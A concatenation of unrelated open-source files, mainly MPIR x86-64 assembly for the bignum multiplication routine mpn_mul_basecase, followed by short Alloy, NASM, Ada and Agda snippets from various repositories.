; License for more details.
; You should have received a copy of the GNU Lesser General Public License
; along with the MPIR Library; see the file COPYING.LIB. If not, write
; to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
; Boston, MA 02110-1301, USA.
;
; mp_limb_t mpn_mul_basecase(mp_ptr, mp_ptr, mp_size_t, mp_ptr, mp_size_t)
; rax rdi rsi rdx rcx r8
; rax rcx rdx r8 r9 [rsp+40]
%include "yasm_mac.inc"
%macro addmul2lp 0
xalign 16
%%1:mov rax, [rsi+rbx*8]
mul r8
add r9, rax
mov rax, [rsi+rbx*8+8]
adc r10, rdx
mov r11, 0
mul rcx
add [rdi+rbx*8], r12
adc r9, rax
mov r12, 0
adc r10, rdx
mov rax, [rsi+rbx*8+8]
adc r11, 0
mul r8
add [rdi+rbx*8+8], r9
adc r10, rax
adc r11, rdx
mov rax, [rsi+rbx*8+16]
mul rcx
add r10, rax
mov rax, [rsi+rbx*8+16]
adc r11, rdx
adc r12, 0
mul r8
add [rdi+rbx*8+16], r10
mov r9, 0
adc r11, rax
mov r10, 0
mov rax, [rsi+rbx*8+24]
adc r12, rdx
mov r15, r15
mul rcx
add r11, rax
mov rax, [rsi+rbx*8+24]
adc r12, rdx
adc r9, 0
mul r8
add [rdi+rbx*8+24], r11
adc r12, rax
adc r9, rdx
mov rax, [rsi+rbx*8+32]
mul rcx
add r12, rax
adc r9, rdx
adc r10, 0
add rbx, 4
jnc %%1
%endmacro
%macro addmul2pro0 0
mov rcx, [r13+r15*8]
mul rcx
mov r12, rax
mov r9, rdx
mov r10, 0
mov r8, [r13+r15*8+8]
%endmacro
%macro addmul2epi0 0
mov rbx, r14
mov rax, [rsi+24]
mul r8
add [rdi+24], r12
adc r9, rax
adc r10, rdx
add r15, 2
mov rax, [rsi+r14*8]
mov [rdi+32], r9
lea rdi, [rdi+16]
mov [rdi+24], r10
%endmacro
%macro addmul2pro1 0
mov rcx, [r13+r15*8]
mul rcx
mov r12, rax
mov r10, 0
mov r9, rdx
mov r8, [r13+r15*8+8]
%endmacro
%macro addmul2epi1 0
mov rax, [rsi+16]
lea rdi, [rdi+16]
mul r8
add r9, rax
mov rax, [rsi+24]
mov r11, 0
adc r10, rdx
mul rcx
add [rdi], r12
adc r9, rax
adc r10, rdx
adc r11, 0
mov rax, [rsi+24]
mul r8
add [rdi+8], r9
adc r10, rax
adc r11, rdx
add r15, 2
mov rbx, r14
mov rax, [rsi+r14*8]
mov [rdi+24], r11
mov [rdi+16], r10
%endmacro
%macro addmul2pro2 0
mov rcx, [r13+r15*8]
mul rcx
mov r10, 0
mov r12, rax
mov r9, rdx
mov r8, [r13+r15*8+8]
%endmacro
%macro addmul2epi2 0
mov rax, [rsi+8]
lea rdi, [rdi+16]
mul r8
add r9, rax
mov rax, [rsi+16]
adc r10, rdx
mov r11, 0
mul rcx
add [rdi-8], r12
adc r9, rax
mov r12, 0
adc r10, rdx
mov rax, [rsi+16]
adc r11, 0
mul r8
add [rdi], r9
adc r10, rax
adc r11, rdx
mov rax, [rsi+24]
mul rcx
add r10, rax
mov rax, [rsi+24]
adc r11, rdx
adc r12, 0
mul r8
add [rdi+8], r10
adc r11, rax
adc r12, rdx
mov rax, [rsi+r14*8]
mov [rdi+16], r11
mov [rdi+24], r12
add r15, 2
mov rbx, r14
%endmacro
%macro addmul2pro3 0
mov rcx, [r13+r15*8]
mul rcx
mov r12, rax
mov r9, rdx
mov r8, [r13+r15*8+8]
mov r10, 0
%endmacro
%macro addmul2epi3 0
mov rax, [rsi]
lea rdi, [rdi+16]
mul r8
add r9, rax
mov rax, [rsi+8]
adc r10, rdx
mov r11, 0
mul rcx
add [rdi-16], r12
adc r9, rax
mov r12, 0
adc r10, rdx
mov rax, [rsi+8]
adc r11, 0
mul r8
add [rdi-8], r9
adc r10, rax
adc r11, rdx
mov rax, [rsi+16]
mul rcx
add r10, rax
mov rax, [rsi+16]
adc r11, rdx
adc r12, 0
mul r8
add [rdi], r10
mov r9, 0
adc r11, rax
mov r10, 0
mov rax, [rsi+24]
adc r12, rdx
mov r15, r15
mul rcx
add r11, rax
mov rax, [rsi+24]
adc r12, rdx
adc r9, 0
mul r8
add [rdi+8], r11
adc r12, rax
adc r9, rdx
mov rax, [rsi+r14*8]
mov [rdi+16], r12
mov [rdi+24], r9
add r15, 2
mov rbx, r14
%endmacro
%macro mul2lp 0
xalign 16
%%1:mov rax, [rsi+rbx*8]
mul r8
add r9, rax
mov rax, [rsi+rbx*8+8]
adc r10, rdx
mov r11, 0
mul rcx
mov [rdi+rbx*8], r12
add r9, rax
mov r12, 0
adc r10, rdx
mov rax, [rsi+rbx*8+8]
adc r11, 0
mul r8
mov [rdi+rbx*8+8], r9
add r10, rax
adc r11, rdx
mov rax, [rsi+rbx*8+16]
mul rcx
add r10, rax
mov rax, [rsi+rbx*8+16]
adc r11, rdx
adc r12, 0
mul r8
mov [rdi+rbx*8+16], r10
mov r9, 0
add r11, rax
mov r10, 0
mov rax, [rsi+rbx*8+24]
adc r12, rdx
mov r15, r15
mul rcx
add r11, rax
mov rax, [rsi+rbx*8+24]
adc r12, rdx
adc r9, 0
mul r8
mov [rdi+rbx*8+24], r11
add r12, rax
adc r9, rdx
mov rax, [rsi+rbx*8+32]
mul rcx
add r12, rax
adc r9, rdx
adc r10, 0
add rbx, 4
jnc %%1
%endmacro
%macro mul2pro0 0
mov rcx, [r13+r15*8]
mul rcx
mov r12, rax
mov r9, rdx
mov r10, 0
mov r8, [r13+r15*8+8]
%endmacro
%macro mul2epi0 0
mov rbx, r14
mov rax, [rsi+24]
mul r8
mov [rdi+24], r12
add r9, rax
adc r10, rdx
add r15, 2
mov rax, [rsi+r14*8]
mov [rdi+32], r9
lea rdi, [rdi+16]
mov [rdi+24], r10
%endmacro
%macro mul2pro1 0
mov rcx, [r13+r15*8]
mul rcx
mov r12, rax
mov r10, 0
mov r9, rdx
mov r8, [r13+r15*8+8]
%endmacro
%macro mul2epi1 0
mov rax, [rsi+16]
lea rdi, [rdi+16]
mul r8
add r9, rax
mov rax, [rsi+24]
mov r11, 0
adc r10, rdx
mul rcx
mov [rdi], r12
add r9, rax
adc r10, rdx
adc r11, 0
mov rax, [rsi+24]
mul r8
mov [rdi+8], r9
add r10, rax
adc r11, rdx
add r15, 2
mov rbx, r14
mov rax, [rsi+r14*8]
mov [rdi+24], r11
mov [rdi+16], r10
%endmacro
%macro mul2pro2 0
mov rcx, [r13+r15*8]
mul rcx
mov r10, 0
mov r12, rax
mov r9, rdx
mov r8, [r13+r15*8+8]
%endmacro
%macro mul2epi2 0
mov rax, [rsi+8]
lea rdi, [rdi+16]
mul r8
add r9, rax
mov rax, [rsi+16]
adc r10, rdx
mov r11, 0
mul rcx
mov [rdi-8], r12
add r9, rax
mov r12, 0
adc r10, rdx
mov rax, [rsi+16]
adc r11, 0
mul r8
mov [rdi], r9
add r10, rax
adc r11, rdx
mov rax, [rsi+24]
mul rcx
add r10, rax
mov rax, [rsi+24]
adc r11, rdx
adc r12, 0
mul r8
mov [rdi+8], r10
add r11, rax
adc r12, rdx
mov rax, [rsi+r14*8]
mov [rdi+16], r11
mov [rdi+24], r12
add r15, 2
mov rbx, r14
%endmacro
%macro mul2pro3 0
mov rcx, [r13+r15*8]
mul rcx
mov r12, rax
mov r9, rdx
mov r8, [r13+r15*8+8]
mov r10, 0
%endmacro
%macro mul2epi3 0
mov rax, [rsi]
lea rdi, [rdi+16]
mul r8
add r9, rax
mov rax, [rsi+8]
adc r10, rdx
mov r11, 0
mul rcx
mov [rdi-16], r12
add r9, rax
mov r12, 0
adc r10, rdx
mov rax, [rsi+8]
adc r11, 0
mul r8
mov [rdi-8], r9
add r10, rax
adc r11, rdx
mov rax, [rsi+16]
mul rcx
add r10, rax
mov rax, [rsi+16]
adc r11, rdx
adc r12, 0
mul r8
mov [rdi], r10
mov r9, 0
add r11, rax
mov r10, 0
mov rax, [rsi+24]
adc r12, rdx
mov r15, r15
mul rcx
add r11, rax
mov rax, [rsi+24]
adc r12, rdx
adc r9, 0
mul r8
mov [rdi+8], r11
add r12, rax
adc r9, rdx
mov rax, [rsi+r14*8]
mov [rdi+16], r12
mov [rdi+24], r9
add r15, 2
mov rbx, r14
%endmacro
%macro mul1lp 0
xalign 16
%%1:
mov r10, 0
mul r8
mov [rdi+rbx*8-8], r12
add r9, rax
db 0x26
adc r10, rdx
mov rax, [rsi+rbx*8+8]
mul r8
mov [rdi+rbx*8], r9
add r10, rax
mov r11d, 0
adc r11, rdx
mov rax, [rsi+rbx*8+16]
mov r12, 0
mov r9, 0
mul r8
mov [rdi+rbx*8+8], r10
db 0x26
add r11, rax
db 0x26
adc r12, rdx
mov rax, [rsi+rbx*8+24]
mul r8
mov [rdi+rbx*8+16], r11
db 0x26
add r12, rax
db 0x26
adc r9, rdx
add rbx, 4
mov rax, [rsi+rbx*8]
jnc %%1
%endmacro
; rbx is 0
%macro mulnext0 0
mov rax, [rsi+8]
mul r8
mov [rdi], r9
add r10, rax
mov r11d, 0
adc r11, rdx
mov rax, [rsi+16]
mov r12d, 0
mul r8
mov [rdi+8], r10
add r11, rax
adc r12, rdx
mov rax, [rsi+24]
mul r8
mov [rdi+16], r11
add r12, rax
adc rdx, 0
mov [rdi+24], r12
mov rax, [rsi+r14*8]
mov [rdi+32], rdx
inc r15
lea rdi, [rdi+8]
mov rbx, r14
%endmacro
; rbx is 1
%macro mulnext1 0
mov rax, [rsi+16]
mul r8
mov [rdi+8], r9
add r10, rax
mov r12d, 0
adc r12, rdx
mov rax, [rsi+24]
mul r8
mov [rdi+16], r10
add r12, rax
adc rdx, 0
mov [rdi+24], r12
mov [rdi+32], rdx
inc r15
lea rdi, [rdi+8]
mov rbx, r14
mov rax, [rsi+r14*8]
%endmacro
; rbx is 2
%macro mulnext2 0
mov rax, [rsi+24]
mul r8
mov [rdi+16], r9
add r10, rax
mov r11d, 0
adc r11, rdx
mov [rdi+24], r10
mov [rdi+32], r11
inc r15
lea rdi, [rdi+8]
mov rax, [rsi+r14*8]
mov rbx, r14
%endmacro
; rbx is 3
%macro mulnext3 0
mov [rdi+24], r9
mov [rdi+32], r10
inc r15
lea rdi, [rdi+8]
mov rax, [rsi+r14*8]
mov rbx, r14
%endmacro
%macro mpn_addmul_2_int 1
jz %%2
xalign 16
%%1:addmul2pro%1
addmul2lp
addmul2epi%1
jnz %%1
%%2:
%endmacro
%macro oldmulnext0 0
mov rax, [rsi+r11*8+16]
mul r13
mov [rdi+r11*8+8], r9
add r10, rax
mov ebx, 0
adc rbx, rdx
mov rax, [rsi+r11*8+24]
mov r12d, 0
mul r13
mov [rdi+r11*8+16], r10
add rbx, rax
adc r12, rdx
mov rax, [rsi+r11*8+32]
mul r13
mov [rdi+r11*8+24], rbx
add r12, rax
adc rdx, 0
mov [rdi+r11*8+32], r12
mov rax, [rsi+r14*8]
mov [rdi+r11*8+40], rdx
inc r8
mov r11, r14
%endmacro
%macro oldmulnext1 0
mov rax, [rsi+r11*8+16]
mul r13
mov [rdi+r11*8+8], r9
add r10, rax
mov r12d, 0
adc r12, rdx
mov rax, [rsi+r11*8+24]
mul r13
mov [rdi+r11*8+16], r10
add r12, rax
adc rdx, 0
mov [rdi+r11*8+24], r12
mov [rdi+r11*8+32], rdx
inc r8
lea rdi, [rdi+8]
mov r11, r14
mov rax, [rsi+r14*8]
%endmacro
%macro oldmulnext2 0
mov rax, [rsi+r11*8+16]
mul r13
mov [rdi+r11*8+8], r9
add r10, rax
mov ebx, 0
adc rbx, rdx
mov [rdi+r11*8+16], r10
mov [rdi+r11*8+24], rbx
inc r8
mov rax, [rsi+r14*8]
mov r11, r14
%endmacro
%macro oldmulnext3 0
mov [rdi+r11*8+8], r9
mov [rdi+r11*8+16], r10
inc r8
mov rax, [rsi+r14*8]
mov r11, r14
%endmacro
%macro oldaddmulpro0 0
mov r13, [rcx+r8*8]
db 0x26
mul r13
db 0x26
mov r12, rax
mov rax, [rsi+r14*8+8]
db 0x26
mov r9, rdx
lea rdi, [rdi+8]
%endmacro
%macro oldaddmulnext0 0
mov r10d, 0
mul r13
add [rdi], r12
adc r9, rax
adc r10, rdx
mov rax, [rsi+16]
mul r13
add [rdi+8], r9
adc r10, rax
mov ebx, 0
adc rbx, rdx
mov rax, [rsi+24]
mov r12d, 0
mov r11, r14
mul r13
add [rdi+16], r10
adc rbx, rax
adc r12, rdx
mov rax, [rsi+32]
mul r13
add [rdi+24], rbx
adc r12, rax
adc rdx, 0
add [rdi+32], r12
mov rax, [rsi+r14*8]
adc rdx, 0
inc r8
mov [rdi+40], rdx
%endmacro
%macro oldaddmulpro1 0
mov r13, [rcx+r8*8]
mul r13
mov r12, rax
mov rax, [rsi+r14*8+8]
mov r9, rdx
%endmacro
%macro oldaddmulnext1 0
mov r10d, 0
mul r13
add [rdi+8], r12
adc r9, rax
adc r10, rdx
mov rax, [rsi+24]
mul r13
lea rdi, [rdi+8]
add [rdi+8], r9
adc r10, rax
mov r12d, 0
mov rax, [rsi+32]
adc r12, rdx
mov r11, r14
mul r13
add [rdi+16], r10
adc r12, rax
adc rdx, 0
add [rdi+24], r12
adc rdx, 0
mov [rdi+32], rdx
inc r8
mov rax, [rsi+r14*8]
%endmacro
%macro oldaddmulpro2 0
mov r13, [rcx+r8*8]
lea rdi, [rdi+8]
mul r13
mov r12, rax
mov rax, [rsi+r14*8+8]
mov r9, rdx
%endmacro
%macro oldaddmulnext2 0
mov r10d, 0
mul r13
add [rdi+r11*8], r12
adc r9, rax
adc r10, rdx
mov rax, [rsi+r11*8+16]
mul r13
mov ebx, 0
add [rdi+r11*8+8], r9
adc r10, rax
adc rbx, rdx
mov rax, [rsi+r14*8]
add [rdi+r11*8+16], r10
adc rbx, 0
mov [rdi+r11*8+24], rbx
inc r8
mov r11, r14
%endmacro
%macro oldaddmulpro3 0
mov r13, [rcx+r8*8]
db 0x26
mul r13
db 0x26
mov r12, rax
db 0x26
lea rdi, [rdi+8]
db 0x26
mov r9, rdx
mov rax, [rsi+r14*8+8]
%endmacro
%macro oldaddmulnext3 0
mov r11, r14
mul r13
add [rdi+24], r12
adc r9, rax
adc rdx, 0
add [rdi+32], r9
mov rax, [rsi+r14*8]
adc rdx, 0
inc r8
mov [rdi+40], rdx
%endmacro
%macro oldmpn_muladdmul_1_int 1
oldmulnext%1
jz %%2
xalign 16
%%1:oldaddmulpro%1
oldaddmulnext%1
jnz %%1
%%2:
%endmacro
CPU Core2
BITS 64
; mp_limb_t mpn_mul_basecase(mp_ptr, mp_ptr, mp_size_t, mp_ptr, mp_size_t)
; rax rdi rsi rdx rcx r8
; rax rcx rdx r8 r9 [rsp+40]
%define reg_save_list rbx, rsi, rdi, r12, r13, r14
LEAF_PROC mpn_mul_basecase
; the current mul does not handle case one
cmp r8d, 4
jg fiveormore
cmp r8d, 1
je one
WIN64_GCC_PROC mpn_k8_mbc1, 5, frame
mov r14, 5
sub r14, rdx
lea rdi, [rdi+rdx*8-40]
lea rcx, [rcx+r8*8]
neg r8
lea rsi, [rsi+rdx*8-40]
mov rax, [rsi+r14*8]
mov r13, [rcx+r8*8]
mov r11, r14
mul r13
mov r12, rax
mov rax, [rsi+r14*8+8]
mov r9, rdx
mov r10d, 0
mul r13
mov [rdi+r11*8], r12
add r9, rax
adc r10, rdx
cmp r11, 2
ja .4
jz .3
jp .2
.1: oldmpn_muladdmul_1_int 0
jmp .5
.2: oldmpn_muladdmul_1_int 1
jmp .5
.3: oldmpn_muladdmul_1_int 2
jmp .5
.4: oldmpn_muladdmul_1_int 3
.5: WIN64_GCC_END frame
; rdx >= 5 as we dont have an inner jump
; (rdi,rdx+r8)=(rsi,rdx)*(rcx,r8)
%undef reg_save_list
%define reg_save_list rbx, rsi, rdi, r12, r13, r14, r15
xalign 16
fiveormore:
WIN64_GCC_PROC mpn_k8_mbc2, 5, frame
movsxd rdx, edx
movsxd r8, r8d
mov r14, 4
sub r14, rdx
lea rdi, [rdi+rdx*8-32]
lea rsi, [rsi+rdx*8-32]
mov r13, rcx
mov r15, r8
lea r13, [r13+r15*8]
neg r15
mov rbx, r14
mov rax, [rsi+r14*8]
bt r15, 0
jnc .12
.6: inc rbx
mov r8, [r13+r15*8]
mul r8
mov r12, rax
mov rax, [rsi+r14*8+8]
mov r9, rdx
cmp rbx, 0
jge .7
mul1lp
.7: mov r10d, 0
mul r8
mov [rdi+rbx*8-8], r12
add r9, rax
adc r10, rdx
cmp rbx, 2
ja .11
jz .10
jp .9
.8: mulnext0
jmp .20
.9: mulnext1
jmp .14
.10:mulnext2
jmp .16
.11:mulnext3
jmp .18
; as all the mul2pro? are the same
.12:mul2pro0
mul2lp
cmp rbx, 2
ja .19
jz .17
jp .15
.13:mul2epi3
.14:mpn_addmul_2_int 3
WIN64_GCC_EXIT frame
.15:mul2epi2
.16:mpn_addmul_2_int 2
WIN64_GCC_EXIT frame
.17:mul2epi1
.18:mpn_addmul_2_int 1
WIN64_GCC_EXIT frame
.19:mul2epi0
.20:mpn_addmul_2_int 0
xalign 16
.21:WIN64_GCC_END frame
xalign 16
one:mov rax, [rdx]
mul qword [r9]
mov [rcx], rax
mov [rcx+8], rdx
ret
end
|
alloy4fun_models/trashltl/models/4/tfnaLDQJkLYfeZQnT.als | Kaixi26/org.alloytools.alloy | 0 | 3446 | <gh_stars>0
open main
pred idtfnaLDQJkLYfeZQnT_prop5 {
some f : File | eventually f not in File
}
pred __repair { idtfnaLDQJkLYfeZQnT_prop5 }
check __repair { idtfnaLDQJkLYfeZQnT_prop5 <=> prop5o } |
nasm/simple_multiplication_583710ccaa6717322c000105.asm | p85/codewars-solutions | 0 | 167080 | SECTION .text
global simple_multiplication
; Multiplies and returns the argument by 8 if the argument is even, else 9 if the argument is odd.
; arg0 = (int64_t) The argument to multiply.
; return value = (int64_t) The result.
simple_multiplication:
mov eax,edi
mov ebx,8
test eax,1
jz even
inc ebx
even:
mul ebx
ret |
tests/tk-toplevel-toplevel_options_test_data-toplevel_options_tests.ads | thindil/tashy2 | 2 | 16082 | <reponame>thindil/tashy2
-- This package has been generated automatically by GNATtest.
-- Do not edit any part of it, see GNATtest documentation for more details.
-- begin read only
with GNATtest_Generated;
package Tk.TopLevel.Toplevel_Options_Test_Data.Toplevel_Options_Tests is
type Test_Toplevel_Options is new GNATtest_Generated.GNATtest_Standard.Tk
.TopLevel
.Toplevel_Options_Test_Data
.Test_Toplevel_Options with
null record;
procedure Test_Configure_0076be_a80d92
(Gnattest_T: in out Test_Toplevel_Options);
-- tk-toplevel.ads:84:4:Configure:Test_Configure_TopLevel
end Tk.TopLevel.Toplevel_Options_Test_Data.Toplevel_Options_Tests;
-- end read only
|
test/Fail/EtaData.agda | shlevy/agda | 1,989 | 580 | -- Andreas, 2014-07-02 wondering about the ETA pragma (legacy?)
open import Common.Equality
data Prod (A B : Set) : Set where
pair : A → B → Prod A B
{-# ETA Prod #-}
-- The ETA pragma does not exist anymore.
fst : {A B : Set} → Prod A B → A
fst (pair a b) = a
snd : {A B : Set} → Prod A B → B
snd (pair a b) = b
-- Just an illusion...
test : {A B : Set} (x : Prod A B) → x ≡ pair (fst x) (snd x)
test x = refl
|
source/parser.ads | jquorning/WeDo | 1 | 13253 | --
-- The author disclaims copyright to this source code. In place of
-- a legal notice, here is a blessing:
--
-- May you do good and not evil.
-- May you find forgiveness for yourself and forgive others.
-- May you share freely, not taking more than you give.
--
package Parser is
procedure Parse_Input (Input : in String);
function Get_Last_Command return String;
function Exit_Program return Boolean;
end Parser;
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.